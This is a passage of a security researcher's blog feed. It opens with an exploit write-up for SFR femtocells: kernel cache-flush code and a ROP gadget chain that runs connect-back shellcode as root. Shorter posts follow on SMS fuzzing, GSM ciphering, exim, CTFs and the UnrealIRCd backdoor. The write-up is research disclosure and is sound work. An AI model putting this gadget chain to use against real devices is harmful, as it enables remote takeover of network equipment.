#339933;"><</span> start <span style="color: #339933;">||</span> flags<span style="color: #009900;">)</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #b1b100;">return</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"> </div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        down_read<span style="color: #009900;">(</span><span style="color: #339933;">&</span>mm<span style="color: #339933;">-></span>mmap_sem<span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        vma <span style="color: #339933;">=</span> find_vma<span style="color: #009900;">(</span>mm<span style="color: #339933;">,</span> start<span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #b1b100;">if</span> <span style="color: #009900;">(</span>vma <span style="color: #339933;">&&</span> vma<span style="color: #339933;">-></span>vm_start <span style="color: #339933;"><</span> end<span style="color: #009900;">)</span> <span style="color: #009900;">{</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #b1b100;">if</span> <span style="color: #009900;">(</span>start <span style="color: #339933;"><</span> vma<span style="color: #339933;">-></span>vm_start<span style="color: #009900;">)</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                        start <span style="color: #339933;">=</span> vma<span style="color: #339933;">-></span>vm_start<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #b1b100;">if</span> <span style="color: #009900;">(</span>end <span style="color: #339933;">></span> vma<span style="color: #339933;">-></span>vm_end<span style="color: #009900;">)</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                        end <span style="color: #339933;">=</span> vma<span style="color: #339933;">-></span>vm_end<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"> </div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                flush_cache_user_range<span style="color: #009900;">(</span>vma<span style="color: #339933;">,</span> start<span style="color: #339933;">,</span> end<span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #009900;">}</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        up_read<span style="color: #009900;">(</span><span style="color: #339933;">&</span>mm<span style="color: #339933;">-></span>mmap_sem<span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900;">}</span></div></li></ol></div><br />
<br />
Some places suggest that you can pass 0 as a start and -1 (0xffffffff) as a range to this syscall and flush everything.<br />
However, this doesn't seem to work and looking at this function I also don't understand why it should.<br />
find_vma()(from mmap.c) will traverse the internal tree representation of the kernel until it finds the <strong>first</strong><br />
virtual memory area that satisfies start < vma->vm_start. So if the start address is zero, this should hardly ever end up in the area of attacker controlled payload (unless you are very lucky). Also flushing the complete memory range doesn't work. As we see end will be set to vma->vm_end if it is bigger than the actual vma end.<br />
To sum up, we really need proper values. We need a heap address lower or equal than our shellcode address in r1 and a length larger than our payload in r2.<br />
<br />
As __clear_cache() returns using the link register, we furthermore have to fill that with a proper value to regain control after flushing the cache.<br />
So the plan is: overflow the buffer, lift our stack to a place where we can pop arbitrary addresses (these two steps could also be exchanged), flush the cache, jump to shellcode.<br />
The following shows the required ROP sequences to perform this. Searching these instructions was also simply done using objdump and grep:<br />
<div class="asm geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900; font-weight: bold;">[</span><span style="color: #0000ff;">0x00013994</span><span style="color: #009900; font-weight: bold;">]</span>> pD <span style="color: #0000ff;">12</span>@sym<span style="color: #339933;">.</span>makecontext<span style="color: #339933;">+</span><span style="color: #0000ff;">0x1c</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x00036410</span>    <span style="color: #0000ff;">0</span>    04e09de4         <span style="color: #00007f; font-weight: bold;">pop</span> <span style="color: #009900; font-weight: bold;">{</span>lr<span style="color: #009900; font-weight: bold;">}</span>              <span style="color: #666666; font-style: italic;">; (ldr lr, [sp], #4)</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x00036414</span>    <span style="color: #0000ff;">0</span>    08d08de2         <span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">sp</span><span style="color: #339933;">,</span> <span style="color: #00007f;">sp</span><span style="color: #339933;">,</span> #<span style="color: #0000ff;">8</span> <span style="color: #666666; font-style: italic;">; sym.__libc_errno</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #0000ff;">0x00036418</span>    <span style="color: #0000ff;">0</span>    1eff2fe1         <span style="color: #00007f;">bx</span> lr</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">      <span style="color: #666666; font-style: italic;">; ------------</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900; font-weight: bold;">[</span><span style="color: #0000ff;">0x00013994</span><span style="color: #009900; font-weight: bold;">]</span>> # here we <span style="color: #00007f; font-weight: bold;">pop</span> lr from our input <span style="color: #000000; font-weight: bold;">stack</span> buffer<span style="color: #339933;">,</span> so we can properly return from __clear_cache</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900; font-weight: bold;">[</span><span style="color: #0000ff;">0x00013994</span><span style="color: #009900; font-weight: bold;">]</span>> # we will jump to a random instruction that pops us pc from the <span style="color: #000000; font-weight: bold;">stack</span> <span style="color: #00007f; font-weight: bold;">and</span> <span style="color: #00007f; font-weight: bold;">in</span> <span style="color: #000000; font-weight: bold;">this</span> case r4 <span style="color: #000000; font-weight: bold;">even</span> though we don<span style="color: #7f007f;">'t need it, this way we gain control back after __clear_cache</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #7f007f;">[0x00013994]> pD 4@sym.free_slotinfo+0x80</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #7f007f;">      0x000f537c    0    1080bde8         pop {r4, pc}</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #7f007f;">[0x00013994]> # lets fill our range register now</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #7f007f;">[0x00013994]> pD 4@sym.__aeabi_cfcmple+0x10</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #7f007f;">      0x000f3928    0    0f80bde8         pop {r0, r1, r2, r3, pc}</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #7f007f;">[0x00013994]> # we don'</span>t need r0<span style="color: #339933;">,</span>r2 <span style="color: #00007f; font-weight: bold;">and</span> r3<span style="color: #339933;">,</span> however r1 will <span style="color: #00007f; font-weight: bold;">pop</span> our range which will be CCCC</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900; font-weight: bold;">[</span><span style="color: #0000ff;">0x00013994</span><span style="color: #009900; font-weight: bold;">]</span>> # <span style="color: #000000; font-weight: bold;">at</span> <span style="color: #000000; font-weight: bold;">this</span> point we have to get <span style="color: #00007f; font-weight: bold;">out</span> buffer address <span style="color: #00007f; font-weight: bold;">into</span> r0</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900; font-weight: bold;">[</span><span style="color: #0000ff;">0x00013994</span><span style="color: #009900; font-weight: bold;">]</span>> # we are lucky <span style="color: #00007f; font-weight: bold;">and</span> a heap address <span style="color: #00007f; font-weight: bold;">in</span> front of our payload resists <span style="color: #00007f; font-weight: bold;">in</span> r11 already <span style="color: #009900; font-weight: bold;">(</span>due to previous function calls<span style="color: #009900; font-weight: bold;">)</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900; font-weight: bold;">[</span><span style="color: #0000ff;">0x00013994</span><span style="color: #009900; font-weight: bold;">]</span>> # r11 is equivalent to fp</div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900; font-weight: bold;">[</span><span style="color: #0000ff;">0x00013994</span><span style="color: #009900; font-weight: bold;">]</span>> # so let<span style="color: #7f007f;">'s move it..</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #7f007f;">[0x00013994]> pD 8@sym.envz_merge+0xb8</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #7f007f;">      0x00070bbc    0    0b00a0e1         mov r0, fp</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #7f007f;">      0x00070bc0    0    f08bbde8         pop {r4, r5, r6, r7, r8, r9, fp, pc}</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #7f007f;">[0x00013994]> # after this step the address of __clear_cache will be popped into pc and the syscall executes flushing our heap range</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #7f007f;">[0x00013994]> # it returns control to the link register value pointing to the previous snippet popping r4 and pc</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #7f007f;">[0x00013994]> # which pops our 0 leading heap address into pc and executes the shellcode</span></div></li></ol></div><br />
Mission accomplished. The used shellcode then executes a connect-back shell!<br />
<br />
As a result, this is a remote root for SFR femtocells.<br />
The complete exploit is available <a href="http://www.sec.t-labs.tu-berlin.de/~nico/wsal_root.py">here</a><br />
<br />
It needs slight modification in case you modified your firmware e.g. with library hooking....<br />
As mentioned before, depending on how shttpd/mongoose/yassl embedded webserver have been compiled, they may be affected by the problem itself.<br />
The exact code for them differs slightly, but all of them contain the same bug if compiled with the right options.<br />
<br />
Slides of our presentation: <a href="http://femto.sec.t-labs.tu-berlin.de/bh2011.pdf">http://femto.sec.t-labs.tu-berlin.de/bh2011.pdf</a><br />
<br />
UPDATE: it seems they have fixed the issue in the latest firmware release (V2.0.24.1) by disabling the PUT functionality completely
nion's blog
blog@ngolde.de (Nico Golde)
2011-08-03T21:23:30Z
http://nion.modprobe.de/blog/wfwcomment.php?cid=704
6
http://nion.modprobe.de/blog/rss.php?version=1.0&type=comments&cid=704
arm
exploit
femtocell
linux
security
sfr
software
ubiquisys
-
So what happened recently...
http://nion.modprobe.de/blog/archives/702-So-what-happened-recently....html
I felt the need to do a short writeup of what I actually did in the last time since I became fairly quiet in some parts of the net.<br />
During the time I was mostly busy with working on my diploma thesis (I will hopefully rework my homepage soon and also upload the thesis pdf then) titled <strong>SMS Vulnerability Analysis on Feature Phones</strong>. During this study I was working on a modified version of <a href="http://openbsc.osmocom.org/trac/wiki/OpenBSC">OpenBSC</a> (thanks to the great people developing this at this point!) that allows me to do over-the-air fuzzing of the <a href="http://en.wikipedia.org/wiki/SMS">short message service</a> on so-called <a href="http://en.wikipedia.org/wiki/Feature_phone">feature phones</a>. The study aimed to not only look at one specific phone model for testing but also do a large scale analysis of the big players in that market section. <br />
<br />
This has been interesting to us as <a href="http://berlin.ccc.de/~tobias/cursesms.txt">SMS</a> <a href="http://berlin.ccc.de/~tobias/smsfeatures/html/slide_13.html">is</a> <a href="http://seclists.org/bugtraq/2002/Jan/162">known</a> <a href="http://www.blackhat.com/presentations/bh-usa-09/MILLER/BHUSA09-Miller-FuzzingPhone-SLIDES.pdf">to</a> <a href="http://www.infoworld.com/article/03/02/26/HNnokiados_1.html">be</a> <a href="http://www.auscert.org.au/render.html?it=2795">problematic</a> from the past, feature phones are widely deployed on the market (compared to only ~16% smartphones, even though uprising), and it is not possible (or let's say not feasible if you want to test a large number of devices without patching the firmware blobs) to modify the underlying operating system for testing. The application platforms are less integrated into the operating system, have less abilities to interact with other applications on the phone, and have far less advanced APIs compared to open APIs on smartphones. Smartphones often provide the ability to run native code. During the work I found bugs for all tested manufacturers (Nokia,Motorola,LG,Sony Ericsson,Samsung,Micromax (3rd biggest manufacturer in india)).<br />
<br />
A large part of this work is the result of a <a href="http://events.ccc.de/congress/2010/Fahrplan/events/4060.en.html">talk</a> with my colleague <a href="http://mulliner.org/">Collin Mulliner</a> at the <a href="http://events.ccc.de/congress/2010/wiki/Main_Page">27C3</a> congress and <a href="http://cansecwest.com/">CanSecWest</a>.<br />
<strong>SMS-o-Death: from analyzing to attacking mobile phones on a large scale</strong> (<a href="http://www.ngolde.de/sms/smsodeath_mulliner_golde_cansecwest2011.pdf">slides</a>)<br />
<br />
Both conferences have been excellent (even though pretty different). Thanks to Dragos for organizing CSW, it was a blast! I also had the chance to visit <a href="http://www.troopers.de/">TROOPERS</a>. Although being a fairly young and small security conference (organized by <a href="http://www.ernw.de/">ERNW</a>), a pretty good one (in terms of people, overall atmosphere and also talks) and definitely worth a visit! <br />
<br />
Being finished with my studies (well I don't have the official certificate yet) I will now look forward to work in a PhD position at the department I already work at, <a href="http://www.isti.tu-berlin.de/security_in_telecommunications/">SecT</a>. I will probably look into mobile handset security, system security and security of "modern" mobile communication systems (such as GSM,UMTS,...). I'm not really interested in the title at the end of the PhD, but working in this area and especially at university has been lots of fun to me (recently playing with <a href="http://en.wikipedia.org/wiki/Femtocell">femtocells</a>) so far, so I try to keep it that way <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /><br />
<br />
That's it for the update on what has been going on.<br />
<br />
P.S. I finally failed to resist and you can now as well follow me on twitter <a href="https://twitter.com/iamnion">@iamnion</a> <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/laugh.png" alt=":-D" style="display: inline; vertical-align: bottom;" class="emoticon" /><br />
nion's blog
blog@ngolde.de (Nico Golde)
2011-04-06T15:16:08Z
http://nion.modprobe.de/blog/wfwcomment.php?cid=702
0
http://nion.modprobe.de/blog/rss.php?version=1.0&type=comments&cid=702
conferences
mobile phones
personal
random blurb
security
sms
software
-
http://nion.modprobe.de/blog/archives/701-Debian-6.0-squeeze.html
Wooohoo, <a href="http://www.debian.org">we</a> finally released <a href="http://www.debian.org/News/2011/20110205a">squeeze</a>! Many thanks to everyone who worked on this the past 2 years and also it's nice to see the new "corporate" <a href="http://www.debian.org/News/2011/20110205b">design</a> going live!<br />
nion's blog
blog@ngolde.de (Nico Golde)
2011-02-06T02:19:29Z
http://nion.modprobe.de/blog/wfwcomment.php?cid=701
2
http://nion.modprobe.de/blog/rss.php?version=1.0&type=comments&cid=701
debian
release
software
squeeze
-
exim remote vulnerability
http://nion.modprobe.de/blog/archives/700-exim-remote-vulnerability.html
It appears there is a remote vulnerability in <a href="http://www.exim.org">exim</a> with the possibility to escalate privileges to root, some details on <a href="http://www.exim.org/lurker/message/20101207.215955.bb32d4f2.en.html">http://www.exim.org/lurker/message/20101207.215955.bb32d4f2.en.html</a>. Security teams are currently looking into the issue.<br />
<br />
SCNR, but this is your chance to switch to a better <a href="http://www.postfix.org/">alternative</a> <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/laugh.png" alt=":-D" style="display: inline; vertical-align: bottom;" class="emoticon" /><br />
<br />
UPDATE: patch for the buffer overflow (CVE-2010-4344): <a href="http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b">http://git.exim.org/exim.git/commitdiff/24c929a27415c7cfc7126c47e4cad39acf3efa6b</a><br />
A few additional patches will be applied to fix the privilege escalation and other things.
nion's blog
blog@ngolde.de (Nico Golde)
2010-12-09T16:04:13Z
http://nion.modprobe.de/blog/wfwcomment.php?cid=700
0
http://nion.modprobe.de/blog/rss.php?version=1.0&type=comments&cid=700
exim
security
software
-
Will my Phone Show An Unencrypted Connection?
http://nion.modprobe.de/blog/archives/696-Will-my-Phone-Show-An-Unencrypted-Connection.html
The <a href="http://en.wikipedia.org/wiki/GSM">GSM</a> security hype is all over the place and certainly the specifications are currently totally ripped in pieces. Some of the common attacks against mobile phones for example <a href="http://en.wikipedia.org/wiki/Man-in-the-middle_attack">man-in-the-middle</a> scenarios using an <a href="http://en.wikipedia.org/wiki/IMSI-catcher">IMSI-catcher</a> base on an attacker forcing you to downgrade to a weaker cipher mode or a mode with no ciphering at all. Now the question arises, is a user noticing this change? According to <a href="http://en.wikipedia.org/wiki/GSM_02.07">GSM 02.07</a> there seems to be an indicator that should allow the user to see if ciphering is turned off or on. <a href="http://mirider.com">Dieter Spaar</a> did <a href="http://www.mirider.com/weblog/2010/08/03/#20100803-ciphering_indicator">some tests</a> to find out which mobile phones indicate this and which not. The results are actually pretty interesting (and shocking), a lot of them don't.<br />
<br />
The list is not that huge so far but I think it's a pretty good start and from what I've seen lately the manufacturs are more interesting than a specific phone model. A lot stuff besides the typical user interfaces, eye-candy and hardware does not change between different models. It would be also interesting to see how those phones actually indicate it. I personally haven't seen such an indicator yet so I'm not sure if it's some unknown tiny symbol which is probably meaningless to a user or not.<br />
<br />
Results are now also collected at: <a href="http://security.osmocom.org/trac/wiki/WillMyPhoneShowAnUnencryptetConnection">http://security.osmocom.org/trac/wiki/WillMyPhoneShowAnUnencryptetConnection</a><br />
which is part of a new wiki page that aims to collect all the <a href="http://security.osmocom.org/trac/">known GSM security problems</a>. This is also a part of the awesome <a href="http://bb.osmocom.org/trac/">osmocom-BB</a> project.<br />
nion's blog
blog@ngolde.de (Nico Golde)
2010-09-08T19:21:51Z
http://nion.modprobe.de/blog/wfwcomment.php?cid=696
0
http://nion.modprobe.de/blog/rss.php?version=1.0&type=comments&cid=696
documentation
gsm
hacking
mobile phones
protocols
security
-
smpCTF 2010 quals writeups
http://nion.modprobe.de/blog/archives/695-smpCTF-2010-quals-writeups.html
I participated together with some friends in this years edition of the <a href="http://www.smpctf.com/">smpCTF</a> quals (actually it took place for the first time). Since we also qualified for the finals we had to submit a writeup of all challenges. For those who are interested, our submission is located on: <a href="http://nion.modprobe.de/smpctf/smpctf.html">http://nion.modprobe.de/smpctf/smpctf.html</a>.<br />
<br />
All in all I had fun during this weekend but I also have to say that I've had more at other <a href="http://en.wikipedia.org/wiki/Capture_the_flag">CTFs</a> in the past. What disappointed me especially is that I'm aware of at least 2 challenges that seem to be only slight alterations of challenges from the DEFCON and Codegate quals. I also missed creativity when it comes to the binary exploitation challenges, most of them have not been challenging. But as said, I enjoyed this weekend, had lots of fun and a big plus was the radio stream during the competition with support from <a href="http://dubstep.fm/">dubstep.fm</a> <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /><br />
<br />
Anyway, congrats to <a href="http://nibbles.tuxfamily.org/">team nibbles</a> who've won the CTF <img src="http://nion.modprobe.de/blog/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /><br />
nion's blog
blog@ngolde.de (Nico Golde)
2010-08-08T11:31:47Z
http://nion.modprobe.de/blog/wfwcomment.php?cid=695
0
http://nion.modprobe.de/blog/rss.php?version=1.0&type=comments&cid=695
ctf
flagseverywhere
hacking
programming
security
-
protocol design fail: MMS notification
http://nion.modprobe.de/blog/archives/694-protocol-design-fail-MMS-notification.html
I was just looking into some specifications of the <a href="http://www.openmobilealliance.org/">openmobilealliance</a> when I got the content for todays WTF moment.<br />
An <a href="http://en.wikipedia.org/wiki/Multimedia_Messaging_Service">MMS</a> notification is usually sent over <a href="http://en.wikipedia.org/wiki/SMS">SMS</a> and encodes various fields including the location of where the MMS content is located so the mobile phone can download it via e.g. <a href="http://en.wikipedia.org/wiki/Wireless_Application_Protocol">WAP</a>.<br />
<br />
Now looking at WAP-209-MMSEncapsulation-20020105-a chapter 6.2. (Multimedia Message Notification) there's an interesting header field included in these notifications, <strong>X-Mms -Message-Size</strong><blockquote>Mandatory.<br />
Full size of message in octets. The value of this header<br />
field could be based on approximate calculation,<br />
therefore it SHOULD NOT be used as a reason to reject<br />
the MM.</blockquote>Clearly the people who developed this must have taken some bad drugs. Adding a length field value to a header and allow it to be based on an approximation rather than an exact value just doesn't explain itself to me.<br />
nion's blog
blog@ngolde.de (Nico Golde)
2010-07-28T14:37:23Z
http://nion.modprobe.de/blog/wfwcomment.php?cid=694
0
http://nion.modprobe.de/blog/rss.php?version=1.0&type=comments&cid=694
fail
phone
sms
software
specs
wtf
-
acrobat reader stealing my passwords
http://nion.modprobe.de/blog/archives/693-acrobat-reader-stealing-my-passwords.html
I know there is some setting in adobe acrobat reader to switch of monitoring of the <a href="http://www.x.org">X</a> paste buffer (which I couldn't find now) and it seems one really wants that. I was very surprised today when I tried to paste a password using <a href="http://nsd.dyndns.org/pwsafe/">pwsafe</a> and observed the following:<br />
<i>$ pwsafe -p fandango<br />
Enter passphrase for /home/nion/.pwsafe.dat:<br />
You are ready to paste the password for hosts.fandango from PRIMARY and CLIPBOARD<br />
Press any key when done<br />
<strong>Sending password for hosts.fandango to acroread@hostname via CLIPBOARD</strong></i><br />
<br />
So apparently acrobat reader is stealing my password from the X paste buffer if the application is running. Especially given all the javascript, malicious pdf file kungfu that is around these days I of course don't find this very amusing.<br />
<br />
Lesson learned: Use xpdf whenever I can even though it really lacks features :/<br />
<br />
<br />
nion's blog
blog@ngolde.de (Nico Golde)
2010-06-29T18:24:30Z
http://nion.modprobe.de/blog/wfwcomment.php?cid=693
1
http://nion.modprobe.de/blog/rss.php?version=1.0&type=comments&cid=693
pdf
pwsafe
rant
security
software
-
UnrealIRCd backdoored
http://nion.modprobe.de/blog/archives/692-UnrealIRCd-backdoored.html
The <a href="http://www.unrealircd.com">UnrealIRCd</a> team has just published an advisory <a href="http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt">advisory</a> stating their release has been backdoored. From the advisory:<blockquote>We found out that the Unreal3.2.8.1.tar.gz file on our mirrors has been<br />
replaced quite a while ago with a version with a backdoor (trojan) in it.<br />
This backdoor allows a person to execute ANY command with the privileges of<br />
the user running the ircd. The backdoor can be executed regardless of any user<br />
restrictions (so even if you have passworded server or hub that doesn't allow<br />
any users in).<br />
<br />
It appears the replacement of the .tar.gz occurred in November 2009 (at least on some mirrors). It seems nobody noticed it until now.</blockquote><br />
I'm personally not using this software but this is probably a shock for lots of sysadmins as this is one of the most popular IRC server applications. The last sentence of this quote is the most shocking to me. This slipped through the cracks for about <strong>8 months</strong> without being noticed! This shows <a href="http://thread.gmane.org/gmane.mail.squirrelmail.announce/35">yet another time</a> that upstream developers need to think about providing ways to allow users to properly verify the integrity of their releases and (which is probably more important) <strong>users need to verify what they download</strong>. There is no point in md5 and friends being broken if nobody cares for hashes anyway.<br />
<br />
The UnrealIRCd people seemed to have learned their lesson and will start PGP/GPG signing their releases from now on. Hopefully their users verify their tarballs then.<br />
So what was the backdoor exactly about? It didn't take me much time to find a backdoored tarball, "gladly" there are still lots of websites mirroring backdoored tarballs.<br />
<br />
The backdoor is pretty small, simple and efficient, a full diff can be found <a href="http://nion.modprobe.de/unrealircd-backdoor.diff">here</a>.<br />
Only two files have been modified, the first one is the important one: s_bsc.c, function read_packet():<br />
<div class="c geshi" style="text-align: left"><ol><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #993333;">static</span> <span style="color: #993333;">int</span> read_packet<span style="color: #009900;">(</span>aClient <span style="color: #339933;">*</span>cptr<span style="color: #339933;">,</span> fd_set <span style="color: #339933;">*</span>rfd<span style="color: #009900;">)</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #009900;">{</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #993333;">int</span>  dolen <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> length <span style="color: #339933;">=</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">,</span> done<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        time_t now <span style="color: #339933;">=</span> TStime<span style="color: #009900;">(</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #b1b100;">if</span> <span style="color: #009900;">(</span>FD_ISSET<span style="color: #009900;">(</span>cptr<span style="color: #339933;">-></span>fd<span style="color: #339933;">,</span> rfd<span style="color: #009900;">)</span> <span style="color: #339933;">&&</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">            <span style="color: #339933;">!</span><span style="color: #009900;">(</span>IsPerson<span style="color: #009900;">(</span>cptr<span style="color: #009900;">)</span> <span style="color: #339933;">&&</span> DBufLength<span style="color: #009900;">(</span><span style="color: #339933;">&</span>cptr<span style="color: #339933;">-></span>recvQ<span style="color: #009900;">)</span> <span style="color: #339933;">></span> <span style="color: #0000dd;">6090</span><span style="color: #009900;">)</span><span style="color: #009900;">)</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">        <span style="color: #009900;">{</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                Hook <span style="color: #339933;">*</span>h<span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                SET_ERRNO<span style="color: #009900;">(</span><span style="color: #0000dd;">0</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;"><span style="color: #339933;">#ifdef USE_SSL</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #b1b100;">if</span> <span style="color: #009900;">(</span>cptr<span style="color: #339933;">-></span>flags <span style="color: #339933;">&</span> FLAGS_SSL<span style="color: #009900;">)</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                        length <span style="color: #339933;">=</span> ircd_SSL_read<span style="color: #009900;">(</span>cptr<span style="color: #339933;">,</span> readbuf<span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span><span style="color: #009900;">(</span>readbuf<span style="color: #009900;">)</span><span style="color: #009900;">)</span><span style="color: #339933;">;</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 1em/1.2em monospace; margin:0; padding:0; background:none; vertical-align:top;">                <span style="color: #b1b100;">else</span></div></li><li style="font-weight: normal; vertical-align:top;"><div style="font: normal normal 